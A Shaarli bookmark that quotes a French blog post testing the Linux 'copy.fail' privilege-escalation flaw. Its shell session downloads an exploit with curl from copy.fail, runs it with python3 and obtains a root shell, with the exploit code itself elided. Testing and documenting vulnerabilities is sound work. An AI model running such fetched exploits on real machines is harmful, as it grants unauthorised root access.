• 6TM
  • My links
  • Tags
  • pics
  • RSS
  • Login
Filter untagged links
1 result tagged Secops

Blog Stéphane Bortzmeyer: Test de copy.fail et d'un contournementhttps://www.bortzmeyer.org/copyfail.html

  • GNU/Linux
  • Secops
  • CVE
  • GNU/Linux
  • Secops
  • CVE

toto@s55486:~$ curl https://copy.fail/exp > copyfail
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   3458      0 --:--:-- --:--:-- --:--:--  3448

toto@s55486:~$ more copyfail 
#!/usr/bin/env python3
…

On l'examine mais, de toute façon, il est peu compréhensible. On le fait tourner (et je me répète, ne faites pas ça sur une machine de production !!!) :

toto@s55486:~$ python3 copyfail
# id
uid=0(root) gid=1000(toto) groups=1000(toto),100(users)

toto@s55486:~$ su
# 

Et voilà, on est root.

Permalink
May 4, 2026 at 9:02:02 PM GMT+2
QRCode
archive.org
Shaarli 96 shaares · Shaarli · The personal, minimalist, super fast, database-free, bookmarking service by the Shaarli community · Documentation · Theme : Stack · Font : DINish
Fold Fold all Expand Expand all Are you sure you want to delete this link? Are you sure you want to delete this tag? The personal, minimalist, super-fast, database free, bookmarking service by the Shaarli community